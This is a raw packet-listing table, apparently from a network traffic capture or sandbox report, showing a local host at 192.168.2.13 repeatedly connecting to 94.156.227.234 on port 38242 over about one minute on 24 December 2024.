Dec 24, 2024 10:42:57.952639103 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:58.416060925 CET	38242	44556	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:58.416131020 CET	44556	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:58.787894964 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:58.907430887 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:58.907520056 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:58.907520056 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:59.027086020 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 10:42:59.411815882 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:42:59.572585106 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:00.032569885 CET	38242	44558	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:00.032649040 CET	44558	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:00.412774086 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:00.532223940 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:00.532280922 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:00.532283068 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:00.652234077 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:01.037240028 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:01.200730085 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:01.666656971 CET	38242	44560	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:01.666716099 CET	44560	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:02.038099051 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:02.158541918 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:02.158601999 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:02.158618927 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:02.279099941 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:02.661894083 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:02.829312086 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:03.297127008 CET	38242	44562	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:03.297187090 CET	44562	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:03.662708998 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:03.782406092 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:03.782495022 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:03.782495022 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:03.902122974 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:04.285501957 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:04.448626995 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:04.915276051 CET	38242	44564	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:04.915409088 CET	44564	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:05.286286116 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:05.406048059 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:05.406146049 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:05.406146049 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:05.525779963 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:05.910392046 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:06.076803923 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:06.524840117 CET	38242	44566	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:06.524908066 CET	44566	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:06.911195993 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:07.030997038 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:07.031059027 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:07.031075954 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:07.150654078 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:07.534315109 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:07.696635008 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:08.153491974 CET	38242	44568	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:08.153552055 CET	44568	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:08.534985065 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:08.654597044 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:08.654669046 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:08.654690027 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:08.774208069 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:09.158684969 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:09.324644089 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:09.785290003 CET	38242	44570	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:09.785351992 CET	44570	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:10.159454107 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:10.279087067 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:10.279145002 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:10.279165983 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:10.398642063 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:10.783106089 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:10.944678068 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:11.416728973 CET	38242	44572	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:11.416814089 CET	44572	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:11.783819914 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:11.903412104 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:11.903505087 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:11.903538942 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:12.023258924 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:12.406621933 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:12.572670937 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:13.020870924 CET	38242	44574	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:13.020925999 CET	44574	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:13.407241106 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:13.526942015 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:13.527020931 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:13.527038097 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:13.646716118 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:14.030181885 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:14.192692041 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:14.648257017 CET	38242	44576	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:14.648327112 CET	44576	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:15.030843973 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:15.150541067 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:15.150588036 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:15.150609970 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:15.270148039 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:15.653508902 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:15.820728064 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:16.281398058 CET	38242	44578	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:16.281455040 CET	44578	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:16.654087067 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:16.773720980 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:16.773806095 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:16.773807049 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:16.893348932 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:17.276504993 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:17.436748028 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:17.896423101 CET	38242	44580	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:17.896502972 CET	44580	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:18.277081966 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:18.396677971 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:18.396766901 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:18.396766901 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:18.516421080 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:18.899884939 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:19.060826063 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:19.525110960 CET	38242	44582	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:19.525185108 CET	44582	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:19.900460005 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:20.020052910 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:20.020111084 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:20.020124912 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:20.139961958 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:20.523082018 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:20.684859991 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:21.141835928 CET	38242	44584	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:21.142025948 CET	44584	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:21.523781061 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:21.643623114 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:21.643774986 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:21.643789053 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:21.763359070 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:22.146441936 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:22.308855057 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:22.759788990 CET	38242	44586	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:22.759898901 CET	44586	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:23.147145987 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:23.266875029 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:23.266928911 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:23.266954899 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:23.386673927 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:23.769963980 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:23.937077045 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:24.394687891 CET	38242	44588	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:24.394742966 CET	44588	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:24.770626068 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:24.890271902 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:24.890539885 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:24.890558004 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:25.010150909 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:25.393227100 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:25.556714058 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:26.019773960 CET	38242	44590	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:26.019836903 CET	44590	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:26.393773079 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:26.513628960 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:26.513916016 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:26.513932943 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:26.633753061 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:27.016541004 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:27.180728912 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:27.645350933 CET	38242	44592	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:27.645590067 CET	44592	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:28.017117023 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:28.136990070 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:28.137145996 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:28.137145996 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:28.256747961 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:28.640424967 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:28.800857067 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:29.263787985 CET	38242	44594	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:29.263986111 CET	44594	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:29.640985966 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:29.760528088 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:29.760657072 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:29.760657072 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:29.880631924 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:30.263335943 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:30.424941063 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:30.888279915 CET	38242	44596	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:30.888344049 CET	44596	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:31.263873100 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:31.383514881 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:31.383667946 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:31.383667946 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:31.503217936 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:31.886590004 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:32.056102037 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:32.503837109 CET	38242	44598	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:32.503896952 CET	44598	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:32.887146950 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:33.006836891 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:33.006906033 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:33.006906986 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:33.126524925 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:33.509696007 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:33.680733919 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:34.138798952 CET	38242	44600	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:34.138856888 CET	44600	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:34.510272980 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:34.629800081 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:34.629873991 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:34.629873991 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:34.749449968 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:35.132627010 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:35.296711922 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:35.753523111 CET	38242	44602	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:35.753633976 CET	44602	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:36.133460045 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:36.252950907 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:36.253014088 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:36.253032923 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:36.372770071 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:36.756421089 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:36.916826963 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:37.376063108 CET	38242	44604	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:37.376275063 CET	44604	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:37.757597923 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:37.877227068 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:37.877314091 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:37.877485991 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:37.996922016 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:38.382534981 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:38.544828892 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:38.997416019 CET	38242	44606	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:38.997746944 CET	44606	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:39.383557081 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:39.503278971 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:39.503685951 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:39.503732920 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:39.623305082 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:40.008564949 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:40.168773890 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:40.642097950 CET	38242	44608	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:40.642383099 CET	44608	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:41.009923935 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:41.129755020 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:41.130008936 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:41.130086899 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:41.249738932 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:41.634674072 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:41.796883106 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:42.268018961 CET	38242	44610	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:42.268182039 CET	44610	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:42.635804892 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:42.755408049 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:42.755546093 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:42.755567074 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:42.876617908 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:43.260358095 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:43.420779943 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:43.879631996 CET	38242	44612	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:43.879883051 CET	44612	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:44.261431932 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:44.381031990 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:44.381133080 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:44.381182909 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:44.500812054 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:44.885476112 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:45.052970886 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:45.514918089 CET	38242	44614	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:45.515173912 CET	44614	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:45.886653900 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:46.006335020 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:46.006462097 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:46.006536007 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:46.126122952 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:46.510261059 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:46.672935009 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:47.132534027 CET	38242	44616	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:47.132720947 CET	44616	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:47.511354923 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:47.631045103 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:47.631174088 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:47.631376982 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:47.750819921 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:48.136384010 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:48.300780058 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:48.755548000 CET	38242	44618	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:48.755949020 CET	44618	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:49.137393951 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:49.256939888 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:49.257062912 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:49.257108927 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:49.376689911 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:49.762068987 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:49.924868107 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:50.389952898 CET	38242	44620	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:50.390136003 CET	44620	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:50.763403893 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:50.883116007 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:50.883254051 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:50.883279085 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:51.002830982 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:51.388015032 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:51.549077034 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:52.009807110 CET	38242	44622	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:52.010087967 CET	44622	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:52.389251947 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:52.508893013 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:52.509052038 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:52.509136915 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:52.628674984 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:53.015305996 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:53.180900097 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:53.628591061 CET	38242	44624	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:53.628786087 CET	44624	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:54.016726017 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:54.136399031 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:54.136517048 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:54.136579037 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:54.259491920 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:54.642065048 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:54.804919004 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:55.273320913 CET	38242	44626	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:55.273530960 CET	44626	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:55.643451929 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:55.763175011 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:55.763341904 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:55.763341904 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:55.882951021 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:56.268692017 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:56.428927898 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:56.901283026 CET	38242	44628	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:56.901588917 CET	44628	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:57.270134926 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:57.389841080 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:57.390003920 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:57.390003920 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:57.509696007 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:57.896171093 CET	44630	38242	192.168.2.13	94.156.227.234
